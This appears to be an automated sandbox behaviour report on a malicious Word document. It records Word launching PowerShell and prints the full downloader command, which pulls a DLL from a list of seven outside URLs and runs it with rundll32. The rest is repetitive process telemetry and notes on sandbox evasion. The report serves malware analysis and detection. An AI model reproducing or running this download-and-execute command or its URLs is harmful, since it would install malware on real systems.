Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep time: -2767011611056431s >= -30000s			Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4825			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2541			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000006.00000003.727850715.0000000005892000.00000004.00000001.sdmp	Binary or memory string: Hyper-V
